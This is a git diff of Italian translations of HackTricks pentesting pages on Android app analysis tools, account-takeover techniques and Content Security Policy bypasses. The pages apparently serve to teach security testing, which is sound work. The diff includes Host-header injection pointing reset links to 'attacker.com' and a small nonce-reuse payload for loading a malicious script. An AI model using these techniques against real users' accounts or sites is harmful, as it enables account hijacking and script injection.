* **Cookie Eterne**: In diversi casi, quando l'applicazione Android termina la sessione, il cookie non viene revocato o potrebbe persino essere salvato su disco.
|
||||
* [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
@ -574,8 +574,8 @@ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
|||
**Notizie sull'Hacking in Tempo Reale**\
|
||||
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
|
||||
|
||||
**Ultime Comunicazioni**\
|
||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
**Ultime Novità**\
|
||||
Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
|
||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||
|
||||
|
@ -602,8 +602,8 @@ MobSF consente anche di **diff/Confrontare** l'analisi e di integrare **VirusTot
|
|||
**MobSF** può essere molto utile anche per l'**analisi dinamica** in **Android**, ma in questo caso sarà necessario installare MobSF e **genymotion** nel proprio host (una VM o Docker non funzioneranno). _Nota: È necessario **avviare prima una VM in genymotion** e **poi MobSF.**_\
|
||||
Il **analizzatore dinamico di MobSF** può:
|
||||
|
||||
* **Estrarre dati dell'applicazione** (URL, log, appunti, screenshot realizzati da te, screenshot realizzati da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto ciò viene fatto automaticamente tranne i screenshot, è necessario premere quando si desidera uno screenshot o è necessario premere "**Exported Activity Tester**" per ottenere gli screenshot di tutte le attività esportate.
|
||||
* Catturare il traffico **HTTPS**
|
||||
* **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot realizzati da te, screenshot realizzati da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto ciò viene fatto automaticamente tranne gli screenshot, è necessario premere quando si desidera uno screenshot o è necessario premere "**Exported Activity Tester**" per ottenere gli screenshot di tutte le attività esportate.
|
||||
* Catturare il **traffico HTTPS**
|
||||
* Utilizzare **Frida** per ottenere **informazioni in tempo reale**
|
||||
|
||||
Dalle versioni di Android > 5, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
|
||||
|
@ -611,7 +611,7 @@ Dalle versioni di Android > 5, avvierà **automaticamente Frida** e imposterà l
|
|||
**Frida**
|
||||
|
||||
Per impostazione predefinita, utilizzerà anche alcuni script di Frida per **bypassare il pinning SSL**, **rilevare il root** e **rilevare il debugger** e per **monitorare API interessanti**.\
|
||||
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarli** per il report.
|
||||
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il report.
|
||||
|
||||
Per **avviare** il test dinamico premere il pulsante verde: "**Start Instrumentation**". Premere "**Frida Live Logs**" per visualizzare i log generati dagli script di Frida e "**Live API Monitor**" per visualizzare tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
|
||||
MobSF consente anche di caricare i propri **script di Frida** (per inviare i risultati dei tuoi script di Frida a MobSF utilizzare la funzione `send()`). Ha anche **diversi script pre-scritti** che è possibile caricare (è possibile aggiungerne altri in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarà possibile vedere i log di quegli script all'interno di "**Frida Live Logs**").
|
||||
|
@ -643,12 +643,12 @@ receivers
|
|||
**Strumenti HTTP**
|
||||
|
||||
Quando il traffico http viene catturato, è possibile visualizzare una vista poco attraente del traffico catturato nella sezione "**HTTP(S) Traffic**" in basso o una vista più piacevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, è possibile **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
|
||||
Per farlo, _accendere Burp -->_ _disattivare l'Intercept --> nella sezione MobSB HTTPTools selezionare la richiesta_ --> premere "**Send to Fuzzer**" --> _selezionare l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
Per farlo, _accendere Burp -->_ _disattivare l'Intercept --> nella sezione MobSB HTTPTools selezionare la richiesta_ --> premere "**Invia a Fuzzer**" --> _selezionare l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
|
||||
Una volta completata l'analisi dinamica con MobSF, è possibile premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
|
||||
Una volta completata l'analisi dinamica con MobSF, è possibile premere su "**Avvia Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dopo aver eseguito un'analisi dinamica con MobSF, le impostazioni del proxy potrebbero essere configurate in modo errato e potresti non essere in grado di correggerle dall'interfaccia grafica. È possibile correggere le impostazioni del proxy eseguendo:
|
||||
Dopo aver eseguito un'analisi dinamica con MobSF, le impostazioni del proxy potrebbero essere configurate in modo errato e potresti non essere in grado di correggerle dall'interfaccia grafica. È possibile correggere le impostazioni del proxy facendo:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
@ -691,7 +691,7 @@ SUPER è un'applicazione da riga di comando che può essere utilizzata su Window
|
|||
|
||||
Tutte le regole sono contenute in un file `rules.json`, e ogni azienda o tester potrebbe creare le proprie regole per analizzare ciò di cui hanno bisogno.
|
||||
|
||||
Scarica le ultime versioni eseguibili dalla [pagina di download](https://superanalyzer.rocks/download.html)
|
||||
Scarica le ultime versioni binarie dalla [pagina di download](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
|
@ -699,7 +699,7 @@ super-analyzer {apk_file}
|
|||
|
||||
![](<../../.gitbook/assets/image (297).png>)
|
||||
|
||||
StaCoAn è uno strumento **multi-piattaforma** che aiuta sviluppatori, cacciatori di bug e hacker etici a eseguire l'[analisi statica del codice](https://en.wikipedia.org/wiki/Static\_program\_analysis) su applicazioni mobili.
|
||||
StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, cacciatori di bug e hacker etici a eseguire l'[analisi statica del codice](https://en.wikipedia.org/wiki/Static\_program\_analysis) su applicazioni mobili.
|
||||
|
||||
Il concetto è che trascini e rilasci il file dell'applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un rapporto visuale e portatile per te. Puoi personalizzare le impostazioni e gli elenchi di parole per ottenere un'esperienza personalizzata.
|
||||
|
||||
|
@ -729,7 +729,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (595).png>)
|
||||
|
||||
**MARA** è un **F**ramework di **R**everse engineering e **A**nalisi di **A**pplicazioni **M**obili. È uno strumento che riunisce strumenti comunemente utilizzati per il reverse engineering e l'analisi di applicazioni mobili, per assistere nel test delle applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere più facile e amichevole questo compito per gli sviluppatori di applicazioni mobili e i professionisti della sicurezza.
|
||||
**MARA** è un **F**ramework di **R**everse engineering e **A**nalisi di **A**pplicazioni **M**obili. È uno strumento che riunisce strumenti comunemente utilizzati per il reverse engineering e l'analisi di applicazioni mobili, per assistere nel test delle applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere più facile e amichevole questo compito agli sviluppatori di applicazioni mobili e ai professionisti della sicurezza.
|
||||
|
||||
È in grado di:
|
||||
|
||||
|
@ -750,7 +750,7 @@ Nota che a seconda del servizio e della configurazione che si utilizza per obfus
|
|||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
Da [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** è uno strumento a riga di comando open source che riduce, ottimizza e obfusca il codice Java. È in grado di ottimizzare il bytecode e individuare ed eliminare istruzioni non utilizzate. ProGuard è un software gratuito e viene distribuito con la licenza pubblica generale GNU, versione 2.
|
||||
Da [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** è uno strumento a riga di comando open source che riduce, ottimizza e obfusca il codice Java. È in grado di ottimizzare il bytecode e individuare ed eliminare istruzioni inutilizzate. ProGuard è un software gratuito e viene distribuito con licenza GNU General Public License, versione 2.
|
||||
|
||||
ProGuard è distribuito come parte dell'SDK Android e viene eseguito durante la compilazione dell'applicazione in modalità di rilascio.
|
||||
|
||||
|
@ -761,9 +761,9 @@ Trova una guida passo-passo per deobfuscare l'APK in [https://blog.lexfo.fr/dexg
|
|||
(Da quella guida) L'ultima volta che abbiamo controllato, la modalità di funzionamento di Dexguard era:
|
||||
|
||||
* caricare una risorsa come un InputStream;
|
||||
* alimentare il risultato a una classe che eredita da FilterInputStream per decifrarlo;
|
||||
* alimentare il risultato a una classe che eredita da FilterInputStream per decodificarlo;
|
||||
* fare un'obfuscazione inutile per sprecare alcuni minuti di tempo a un reverser;
|
||||
* alimentare il risultato decifrato a un ZipInputStream per ottenere un file DEX;
|
||||
* alimentare il risultato decodificato a un ZipInputStream per ottenere un file DEX;
|
||||
* infine caricare il DEX risultante come una risorsa utilizzando il metodo `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
@ -774,7 +774,7 @@ Trova una guida passo-passo per deobfuscare l'APK in [https://blog.lexfo.fr/dexg
|
|||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
È un **deobfuscator generico per Android.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e quindi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da capire per un essere umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale tipo specifico di obfuscazione venga utilizzato.
|
||||
È un **deobfuscator generico per Android.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da capire per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale sia il tipo specifico di obfuscazione utilizzato.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -806,7 +806,7 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
|
||||
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
|
||||
|
||||
**Approfondimenti sull'Hacking**\
|
||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||
|
@ -827,7 +827,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Presa dell'Account
|
||||
# Presa di Account
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,11 +6,11 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,39 +24,48 @@ L'email di un account dovrebbe essere tentata di essere cambiata, e il processo
|
|||
2. Un account dovrebbe essere creato utilizzando Unicode\
|
||||
ad esempio: `vićtim@gmail.com`
|
||||
|
||||
Come spiegato in [**questa presentazione**](https://www.youtube.com/watch?v=CiIyaZ3x49c), l'attacco precedente potrebbe essere effettuato abusando dei fornitori di identità di terze parti:
|
||||
|
||||
* Crea un account nel fornitore di identità di terze parti con un'email simile a quella della vittima utilizzando alcuni caratteri unicode (`vićtim@azienda.com`).
|
||||
* Il fornitore di terze parti non dovrebbe verificare l'email
|
||||
* Se il fornitore di identità verifica l'email, forse puoi attaccare la parte del dominio come: `victim@ćompany.com` e registrare quel dominio e sperare che il fornitore di identità generi la versione ascii del dominio mentre la piattaforma della vittima normalizza il nome di dominio.
|
||||
* Accedi tramite questo fornitore di identità alla piattaforma della vittima che dovrebbe normalizzare il carattere unicode e consentirti di accedere all'account della vittima.
|
||||
|
||||
Per ulteriori dettagli, fare riferimento al documento sulla Normalizzazione Unicode:
|
||||
|
||||
{% content-ref url="unicode-injection/unicode-normalization.md" %}
|
||||
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Riutilizzo del Token di Reset**
|
||||
|
||||
Se il sistema di destinazione consente il **riutilizzo del link di reset**, sforzi dovrebbero essere fatti per **trovare più link di reset** utilizzando strumenti come `gau`, `wayback`, o `scan.io`.
|
||||
|
||||
## **Pre Presa dell'Account**
|
||||
## **Pre Account Takeover**
|
||||
|
||||
1. L'email della vittima dovrebbe essere utilizzata per registrarsi sulla piattaforma, e dovrebbe essere impostata una password (dovrebbe essere tentato di confermarla, anche se la mancanza di accesso alle email della vittima potrebbe rendere questo impossibile).
|
||||
2. Bisognerebbe aspettare che la vittima si registri utilizzando OAuth e confermi l'account.
|
||||
1. L'email della vittima dovrebbe essere utilizzata per registrarsi sulla piattaforma, e dovrebbe essere impostata una password (dovrebbe essere tentato di confermarla, anche se la mancanza di accesso alle email della vittima potrebbe rendere ciò impossibile).
|
||||
2. Bisogna aspettare che la vittima si registri utilizzando OAuth e confermi l'account.
|
||||
3. Si spera che la registrazione regolare venga confermata, consentendo l'accesso all'account della vittima.
|
||||
|
||||
## **Configurazione Errata di CORS per la Presa dell'Account**
|
||||
## **Configurazione Errata di CORS per Account Takeover**
|
||||
|
||||
Se la pagina contiene **configurazioni errate di CORS** potresti essere in grado di **rubare informazioni sensibili** dall'utente per **prendere il controllo del suo account** o fargli cambiare le informazioni di autenticazione allo stesso scopo:
|
||||
Se la pagina contiene **configurazioni CORS errate** potresti essere in grado di **rubare informazioni sensibili** dall'utente per **prendere il controllo del suo account** o fargli cambiare le informazioni di autenticazione allo stesso scopo:
|
||||
|
||||
{% content-ref url="cors-bypass.md" %}
|
||||
[cors-bypass.md](cors-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Csrf per la Presa dell'Account**
|
||||
## **Csrf per Account Takeover**
|
||||
|
||||
Se la pagina è vulnerabile al CSRF potresti essere in grado di far **modificare la password all'utente**, l'email o l'autenticazione in modo da poter poi accedervi:
|
||||
Se la pagina è vulnerabile al CSRF potresti essere in grado di far **modificare la password** all'utente, l'email o l'autenticazione in modo da poter poi accedervi:
|
||||
|
||||
{% content-ref url="csrf-cross-site-request-forgery.md" %}
|
||||
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **XSS per la Presa dell'Account**
|
||||
## **XSS per Account Takeover**
|
||||
|
||||
Se trovi un XSS nell'applicazione potresti essere in grado di rubare cookie, local storage, o informazioni dalla pagina web che potrebbero permetterti di prendere il controllo dell'account:
|
||||
Se trovi un XSS nell'applicazione potresti essere in grado di rubare cookie, local storage o informazioni dalla pagina web che potrebbero consentirti di prendere il controllo dell'account:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/" %}
|
||||
[xss-cross-site-scripting](xss-cross-site-scripting/)
|
||||
|
@ -78,9 +87,9 @@ Se trovi un XSS limitato o un subdominio da prendere, potresti giocare con i coo
|
|||
|
||||
## **Manipolazione della Risposta**
|
||||
|
||||
Se la risposta di autenticazione potrebbe essere **ridotta a un semplice booleano prova a cambiare false in true** e vedi se ottieni accesso.
|
||||
Se la risposta di autenticazione potesse essere **ridotta a un semplice booleano prova a cambiare false in true** e vedi se ottieni accesso.
|
||||
|
||||
## OAuth per la Presa dell'Account
|
||||
## OAuth per il Takeover dell'Account
|
||||
|
||||
{% content-ref url="oauth-to-account-takeover.md" %}
|
||||
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
||||
|
@ -88,8 +97,8 @@ Se la risposta di autenticazione potrebbe essere **ridotta a un semplice boolean
|
|||
|
||||
## Iniezione dell'Intestazione Host
|
||||
|
||||
1. L'intestazione Host viene modificata in seguito a una richiesta di reset della password.
|
||||
2. L'intestazione proxy `X-Forwarded-For` viene alterata in `attacker.com`.
|
||||
1. L'intestazione Host viene modificata in seguito all'iniziazione di una richiesta di reset della password.
|
||||
2. L'intestazione proxy `X-Forwarded-For` viene modificata in `attacker.com`.
|
||||
3. L'Host, Referrer e le intestazioni di Origine vengono contemporaneamente cambiate in `attacker.com`.
|
||||
4. Dopo aver iniziato un reset della password e poi optato per inviare di nuovo la mail, vengono utilizzati tutti e tre i metodi sopra menzionati.
|
||||
|
||||
|
@ -102,7 +111,7 @@ Se la risposta di autenticazione potrebbe essere **ridotta a un semplice boolean
|
|||
|
||||
Queste tecniche di manipolazione sono efficaci nei casi in cui viene utilizzato JSON per la trasmissione e la ricezione dei dati.
|
||||
|
||||
## Cambio dell'email della sessione corrente
|
||||
## Cambio email della sessione corrente
|
||||
|
||||
Da [questo report](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
|
||||
|
||||
|
@ -114,6 +123,11 @@ Da [questo report](https://dynnyd20.medium.com/one-click-account-take-over-e5009
|
|||
|
||||
Questo è successo anche in [**questo report**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
|
||||
|
||||
### Vecchi Cookie
|
||||
|
||||
Come spiegato [**in questo post**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), era possibile accedere a un account, salvare i cookie come utente autenticato, disconnettersi e quindi accedere di nuovo.\
|
||||
Con il nuovo accesso, anche se potrebbero essere generati cookie diversi, quelli vecchi hanno iniziato a funzionare di nuovo.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
|
||||
|
@ -125,10 +139,9 @@ Questo è successo anche in [**questo report**](https://dynnyd20.medium.com/one-
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -31,9 +31,9 @@ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali d
|
|||
|
||||
## Cos'è CSP
|
||||
|
||||
La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una serie di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusa l'esecuzione di risorse inline e di codice stringa attraverso funzioni come `eval`, `setTimeout` o `setInterval`.
|
||||
La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una serie di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusa l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
|
||||
|
||||
L'implementazione di CSP avviene tramite **intestazioni di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano attivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
|
||||
L'implementazione di CSP avviene tramite **intestazioni di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa politica, i browser applicano attivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
|
||||
|
||||
* Implementato tramite intestazione di risposta:
|
||||
```
|
||||
|
@ -47,7 +47,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
|
||||
CSP può essere impostato o monitorato utilizzando queste intestazioni:
|
||||
|
||||
* `Content-Security-Policy`: Impone il CSP; il browser blocca qualsiasi violazione.
|
||||
* `Content-Security-Policy`: Imposta il CSP; il browser blocca qualsiasi violazione.
|
||||
* `Content-Security-Policy-Report-Only`: Utilizzato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione.
|
||||
|
||||
### Definizione delle Risorse
|
||||
|
@ -78,11 +78,11 @@ object-src 'none';
|
|||
* **media-src**: Definisce le origini consentite per il caricamento di oggetti multimediali.
|
||||
* **object-src**: Definisce le origini consentite per gli elementi `<object>`, `<embed>` e `<applet>`.
|
||||
* **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando gli elementi `<base>`.
|
||||
* **form-action**: Elenca i punti di fine validi per le sottomissioni dei moduli.
|
||||
* **form-action**: Elenca i punti di accesso validi per le sottomissioni di moduli.
|
||||
* **plugin-types**: Limita i tipi MIME che una pagina può invocare.
|
||||
* **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
|
||||
* **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
|
||||
* **report-to**: Specifica un gruppo a cui verrà inviato un report se la policy viene violata.
|
||||
* **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la policy viene violata.
|
||||
* **worker-src**: Specifica le origini valide per gli script Worker, SharedWorker o ServiceWorker.
|
||||
* **prefetch-src**: Specifica le origini valide per le risorse che verranno recuperate o precaricate.
|
||||
* **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)
|
||||
|
@ -95,7 +95,7 @@ object-src 'none';
|
|||
* `'none'`: Blocca il caricamento da qualsiasi origine.
|
||||
* `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, non raccomandato per motivi di sicurezza.
|
||||
* `'unsafe-hashes'`: Abilita gestori di eventi inline specifici.
|
||||
* `'unsafe-inline'`: Consente l'uso di risorse inline come script inline `<script>` o `<style>`, non raccomandato per motivi di sicurezza.
|
||||
* `'unsafe-inline'`: Consente l'uso di risorse inline come script inline o style inline, non raccomandato per motivi di sicurezza.
|
||||
* `'nonce'`: Una whitelist per script inline specifici utilizzando un nonce crittografico (numero usato una sola volta).
|
||||
* Se l'esecuzione di JS è limitata, è possibile ottenere un nonce utilizzato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e quindi riutilizzarlo per caricare uno script dannoso (se viene utilizzato strict-dynamic, qualsiasi origine consentita può caricare nuove origini quindi questo non è necessario), come in:
|
||||
|
||||
|
@ -121,7 +121,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `filesystem:`: Consente il caricamento delle risorse dal filesystem.
|
||||
* `'report-sample'`: Include un campione del codice che viola nel rapporto di violazione (utile per il debug).
|
||||
* `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle origini corrisponda al documento (solo le origini sicure possono caricare risorse da origini sicure).
|
||||
* `'strict-origin-when-cross-origin'`: Invia gli URL completi quando si effettuano richieste dello stesso origine, ma invia solo l'origine quando la richiesta è di origine incrociata.
|
||||
* `'strict-origin-when-cross-origin'`: Invia gli URL completi quando si effettuano richieste dello stesso origine, ma invia solo l'origine quando la richiesta è cross-origin.
|
||||
* `'unsafe-allow-redirects'`: Consente il caricamento delle risorse che verranno reindirizzate immediatamente su un'altra risorsa. Non raccomandato in quanto indebolisce la sicurezza.
|
||||
|
||||
## Regole CSP Non Sicure
|
||||
|
@ -152,7 +152,7 @@ Payload funzionante:
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
Se riesci in qualche modo a fare in modo che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il **nuovo tag script sarà autorizzato ad essere eseguito**.
|
||||
Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il **nuovo tag script sarà autorizzato ad essere eseguito**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
|
@ -191,11 +191,11 @@ Tuttavia, è molto probabile che il server stia **validando il file caricato** e
|
|||
|
||||
Inoltre, anche se riuscissi a caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come ad esempio: _script.png_), questo non sarebbe sufficiente perché alcuni server come il server apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire il codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Fortunatamente", ci sono errori. Ad esempio, da un CTF ho imparato che **Apache non riconosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
|
||||
|
||||
Da qui, se trovi una XSS e un caricamento di file, e riesci a trovare un'**estensione interpretata erroneamente**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un poliglotta ([alcuni esempi di poliglotti qui](https://github.com/Polydet/polyglot-database)).
|
||||
